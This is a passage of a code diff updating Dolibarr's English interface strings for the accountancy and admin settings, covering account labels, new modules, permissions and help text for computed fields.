+DefaultForProduct=Default for products ProductForThisThirdparty=Product for this thirdparty ServiceForThisThirdparty=Service for this thirdparty CantSuggest=Can't suggest @@ -41,6 +41,7 @@ AlreadyInGeneralLedger=Already transferred to accounting journals and ledger NotYetInGeneralLedger=Not yet transferred to accouting journals and ledger GroupIsEmptyCheckSetup=Group is empty, check setup of the personalized accounting group DetailByAccount=Show detail by account +DetailBy=Detail by AccountWithNonZeroValues=Accounts with non-zero values ListOfAccounts=List of accounts CountriesInEEC=Countries in EEC @@ -101,7 +102,8 @@ ShowAccountingAccount=Show accounting account ShowAccountingJournal=Show accounting journal ShowAccountingAccountInLedger=Show accounting account in ledger ShowAccountingAccountInJournals=Show accounting account in journals -AccountAccountingSuggest=Accounting account suggested +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Default accounts MenuBankAccounts=Bank accounts MenuVatAccounts=Vat accounts @@ -126,6 +128,7 @@ WriteBookKeeping=Record transactions in accounting Bookkeeping=Ledger BookkeepingSubAccount=Subledger AccountBalance=Account balance +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Source object ref CAHTF=Total purchase vendor before tax TotalExpenseReport=Total expense report @@ -165,9 +168,9 @@ ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) -ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) -ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) +ACCOUNTING_SELL_JOURNAL=Sales journal - sales and returns +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal - purchase and returns +ACCOUNTING_BANK_JOURNAL=Cash journal - receipts and disbursements ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal @@ -178,31 +181,32 @@ ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) -ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Accounting account by default to register supplier deposit +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Type of document Docdate=Date @@ -217,7 +221,8 @@ Codejournal=Journal JournalLabel=Journal label NumPiece=Piece number TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -234,6 +239,7 @@ ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month an ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finance journal ExpenseReportsJournal=Expense reports journal +InventoryJournal=Inventory journal DescFinanceJournal=Finance journal including all the types of payments by bank account DescJournalOnlyBindedVisible=This is a view of record that are bound to an accounting account and can be recorded into the Journals and Ledger. VATAccountNotDefined=Account for VAT not defined @@ -265,19 +271,20 @@ ShowSubtotalByGroup=Show subtotal by level Pcgtype=Group of account PcgtypeDesc=Group of account are used as predefined 'filter' and 'grouping' criteria for some accounting reports. For example, 'INCOME' or 'EXPENSE' are used as groups for accounting accounts of products to build the expense/income report. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Reconcilable TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -294,15 +301,16 @@ DescValidateMovements=Any modification or deletion of writing, lettering and del ValidateHistory=Bind Automatically AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. NoNewRecordSaved=No more record to transfer -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Change the binding Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting @@ -336,11 +344,14 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export NotExportLettering=Do not export the lettering when generating the file -NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportDate=Flag not yet exported lines as Exported (to modify a line flagged as exported, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries not yet already locked (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal @@ -397,7 +408,7 @@ SaleLocal=Local sale SaleExport=Export sale SaleEEC=Sale in EEC SaleEECWithVAT=Sale in EEC with a VAT not null, so we suppose this is NOT an intracommunautary sale and the suggested account is the standard product account. -SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fallback on the product account for standard sales. You can fix the VAT ID of thirdparty or the product account if needed. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -436,11 +447,12 @@ NoJournalDefined=No journal defined Binded=Lines bound ToBind=Lines to bind UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually -SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Note: this module or page is not completely compatible with the experimental feature of situation invoices. Some data may be wrong. AccountancyErrorMismatchLetterCode=Mismatch in reconcile code AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Accounting entries @@ -467,5 +479,7 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s accounts diff --git a/htdocs/langs/en_US/admin.lang b/htdocs/langs/en_US/admin.lang index dae72d3d703..9fb7a487118 100644 --- a/htdocs/langs/en_US/admin.lang +++ b/htdocs/langs/en_US/admin.lang @@ -51,6 +51,8 @@ ClientSortingCharset=Client collation WarningModuleNotActive=Module %s must be enabled WarningOnlyPermissionOfActivatedModules=Only permissions related to activated modules are shown here. You can activate other modules in the Home->Setup->Modules page. DolibarrSetup=Dolibarr install or upgrade +DolibarrUpgrade=Dolibarr upgrade +DolibarrAddonInstall=Installation of Addon/External modules (uploaded or generated) InternalUsers=Internal users ExternalUsers=External users UserInterface=User interface @@ -145,6 +147,7 @@ Box=Widget Boxes=Widgets MaxNbOfLinesForBoxes=Max. number of lines for widgets AllWidgetsWereEnabled=All available widgets are enabled +WidgetAvailable=Widget available PositionByDefault=Default order Position=Position MenusDesc=Menu managers set content of the two menu bars (horizontal and vertical). @@ -374,7 +377,7 @@ DoTestSendHTML=Test sending HTML ErrorCantUseRazIfNoYearInMask=Error, can't use option @ to reset counter each year if sequence {yy} or {yyyy} is not in mask. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Error, can't use option @ if sequence {yy}{mm} or {yyyy}{mm} is not in mask. UMask=UMask parameter for new files on Unix/Linux/BSD/Mac file system. -UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone).
      This parameter is useless on a Windows server. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Take a look at the Wiki page for a list of contributors and their organization UseACacheDelay= Delay for caching export response in seconds (0 or empty for no cache) DisableLinkToHelpCenter=Hide the link "Need help or support" on the login page @@ -451,7 +454,7 @@ ExtrafieldCheckBox=Checkboxes ExtrafieldCheckBoxFromList=Checkboxes from table ExtrafieldLink=Link to an object ComputedFormula=Computed field -ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $object.
      WARNING: Only some properties of $object may be available. If you need a properties not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Store computed field ComputedpersistentDesc=Computed extra fields will be stored in the database, however, the value will only be recalculated when the object of this field is changed. If the computed field depends on other objects or global data this value might be wrong!! ExtrafieldParamHelpPassword=Leaving this field blank means this value will be stored without encryption (field must be only hidden with star on screen).
      Set 'auto' to use the default encryption rule to save password into database (then value read will be the hash only, no way to retrieve original value) @@ -511,7 +514,7 @@ ClickToShowDescription=Click to show description DependsOn=This module needs the module(s) RequiredBy=This module is required by module(s) TheKeyIsTheNameOfHtmlField=This is the name of the HTML field. Technical knowledge is required to read the content of the HTML page to get the key name of a field. -PageUrlForDefaultValues=You must enter the relative path of the page URL. If you include parameters in URL, the default values will be effective if all parameters are set to same value. +PageUrlForDefaultValues=You must enter the relative path of the page URL. If you include parameters in URL, it will be effective if all parameters in browsed URL have the value defined here. PageUrlForDefaultValuesCreate=
      Example:
      For the form to create a new third party, it is %s.
      For URL of external modules installed into custom directory, do not include the "custom/", so use path like mymodule/mypage.php and not custom/mymodule/mypage.php.
      If you want default value only if url has some parameter, you can use %s PageUrlForDefaultValuesList=
      Example:
      For the page that lists third parties, it is %s.
      For URL of external modules installed into custom directory, do not include the "custom/" so use a path like mymodule/mypagelist.php and not custom/mymodule/mypagelist.php.
      If you want default value only if url has some parameter, you can use %s AlsoDefaultValuesAreEffectiveForActionCreate=Also note that overwritting default values for form creation works only for pages that were correctly designed (so with parameter action=create or presend...) @@ -521,6 +524,7 @@ GoIntoTranslationMenuToChangeThis=A translation has been found for the key with WarningSettingSortOrder=Warning, setting a default sort order may result in a technical error when going on the list page if field is an unknown field. If you experience such an error, come back to this page to remove the default sort order and restore default behavior. Field=Field ProductDocumentTemplates=Document templates to generate product document +ProductBatchDocumentTemplates=Document templates to generate product lots document FreeLegalTextOnExpenseReports=Free legal text on expense reports WatermarkOnDraftExpenseReports=Watermark on draft expense reports ProjectIsRequiredOnExpenseReports=The project is mandatory for entering an expense report @@ -645,6 +649,8 @@ Module2300Name=Scheduled jobs Module2300Desc=Scheduled jobs management (alias cron or chrono table) Module2400Name=Events/Agenda Module2400Desc=Track events. Log automatic events for tracking purposes or record manual events or meetings. This is the principal module for good Customer or Vendor Relationship Management. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Document Management System / Electronic Content Management. Automatic organization of your generated or stored documents. Share them when you need. Module2600Name=API / Web services (SOAP server) @@ -660,6 +666,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind conversions capabilities Module3200Name=Unalterable Archives Module3200Desc=Enable an unalterable log of business events. Events are archived in real-time. The log is a read-only table of chained events that can be exported. This module may be mandatory for some countries. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Social Networks Module3400Desc=Enable Social Networks fields into third parties and addresses (skype, twitter, facebook, ...). Module4000Name=HRM @@ -700,7 +708,10 @@ Module62000Name=Incoterms Module62000Desc=Add features to manage Incoterms Module63000Name=Resources Module63000Desc=Manage resources (printers, cars, rooms, ...) for allocating to events -Permission11=Read customer invoices +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=Create/modify customer invoices Permission13=Invalidate customer invoices Permission14=Validate customer invoices @@ -942,7 +953,7 @@ Permission1190=Approve (second approval) purchase orders Permission1191=Export supplier orders and their attributes Permission1201=Get result of an export Permission1202=Create/Modify an export -Permission1231=Read vendor invoices +Permission1231=Read vendor invoices (and payments) Permission1232=Create/modify vendor invoices Permission1233=Validate vendor invoices Permission1234=Delete vendor invoices @@ -973,13 +984,14 @@ Permission3301=Generate new modules Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Read website content Permission10002=Create/modify website content (html and javascript content) Permission10003=Create/modify website content (dynamic php code). Dangerous, must be reserved to restricted developers. @@ -1228,7 +1240,7 @@ SetupDescription4=%s -> %s

      This software is a suite of m SetupDescription5=Other Setup menu entries manage optional parameters. SetupDescriptionLink=%s - %s SetupDescription3b=Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Security events that are audited NoSecurityEventsAreAduited=No security events are audited. You can enable them from menu %s Audit=Security events @@ -1250,6 +1262,7 @@ AreaForAdminOnly=Setup parameters can be set by administrator users only. SystemInfoDesc=System information is miscellaneous technical information you get in read only mode and visible for administrators only. SystemAreaForAdminOnly=This area is available to administrator users only. Dolibarr user permissions cannot change this restriction. CompanyFundationDesc=Edit the information of your company/organization. Click on "%s" button at the bottom of the page when done. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=If you have an external accountant/bookkeeper, you can edit here its information. AccountantFileNumber=Accountant code DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1267,6 +1280,7 @@ TriggerActiveAsModuleActive=Triggers in this file are active as module %s GeneratedPasswordDesc=Choose the method to be used for auto-generated passwords. DictionaryDesc=Insert all reference data. You can add your values to the default. ConstDesc=This page allows you to edit (override) parameters not available in other pages. These are mostly reserved parameters for developers/advanced troubleshooting only. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=All other security related parameters are defined here. LimitsSetup=Limits/Precision setup LimitsDesc=You can define limits, precisions and optimizations used by Dolibarr here @@ -1300,6 +1314,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=You must run this command from YourPHPDoesNotHaveSSLSupport=SSL functions not available in your PHP DownloadMoreSkins=More skins to download SimpleNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset ShowProfIdInAddress=Show professional ID with addresses ShowVATIntaInAddress=Hide intra-Community VAT number @@ -1386,7 +1402,7 @@ GetBarCode=Get barcode NumberingModules=Numbering models DocumentModules=Document models ##### Module password generation -PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters in lowercase. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Do not suggest a generated password. Password must be typed in manually. PasswordGenerationPerso=Return a password according to your personally defined configuration. SetupPerso=According to your configuration @@ -1440,6 +1456,10 @@ SuppliersPayment=Vendor payments SupplierPaymentSetup=Vendor payments setup InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Commercial proposals module setup ProposalsNumberingModules=Commercial proposal numbering models @@ -1482,11 +1502,12 @@ WatermarkOnDraftContractCards=Watermark on draft contracts (none if empty) ##### Members ##### MembersSetup=Members module setup MemberMainOptions=Main options +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Manage a Login for each member AdherentMailRequired=Email required to create a new member MemberSendInformationByMailByDefault=Checkbox to send mail confirmation to members (validation or new subscription) is on by default MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=Visitor can choose from available payment modes +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Enable automatic reminder by email of expired subscriptions. Note: Module %s must be enabled and correctly setup to send reminders. MembersDocModules=Document templates for documents generated from member record ##### LDAP setup ##### @@ -1816,6 +1837,9 @@ AGENDA_USE_EVENT_TYPE=Use events types (managed in menu Setup -> Dictionaries -> AGENDA_USE_EVENT_TYPE_DEFAULT=Automatically set this default value for type of event in event create form AGENDA_DEFAULT_FILTER_TYPE=Automatically set this type of event in search filter of agenda view AGENDA_DEFAULT_FILTER_STATUS=Automatically set this status for events in search filter of agenda view +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Which view do you want to open by default when selecting menu Agenda AGENDA_REMINDER_BROWSER=Enable event reminder on user's browser (When remind date is reached, a popup is shown by the browser. Each user can disable such notifications from its browser notification setup). AGENDA_REMINDER_BROWSER_SOUND=Enable sound notification @@ -1881,7 +1905,7 @@ SuppliersInvoiceNumberingModel=Vendor invoices numbering models IfSetToYesDontForgetPermission=If set to a non null value, don't forget to provide permissions to groups or users allowed for the second approval ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind module setup -PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation.
      Examples:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Note that your ip to country data file must be inside a directory your PHP can read (Check your PHP open_basedir setup and filesystem permissions). YouCanDownloadFreeDatFileTo=You can download a free demo version of the Maxmind GeoIP country file at %s. YouCanDownloadAdvancedDatFileTo=You can also download a more complete version, with updates, of the Maxmind GeoIP country file at %s. @@ -1932,6 +1956,7 @@ BackupDumpWizard=Wizard to build the database dump file BackupZipWizard=Wizard to build the archive of documents directory SomethingMakeInstallFromWebNotPossible=Installation of external module is not possible from the web interface for the following reason: SomethingMakeInstallFromWebNotPossible2=For this reason, process to upgrade described here is a manual process only a privileged user may perform. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Install of external module from application has been disabled by your administrator. You must ask him to remove the file %s to allow this feature. ConfFileMustContainCustom=Installing or building an external module from application need to save the module files into directory %s. To have this directory processed by Dolibarr, you must setup your conf/conf.php to add the 2 directive lines:
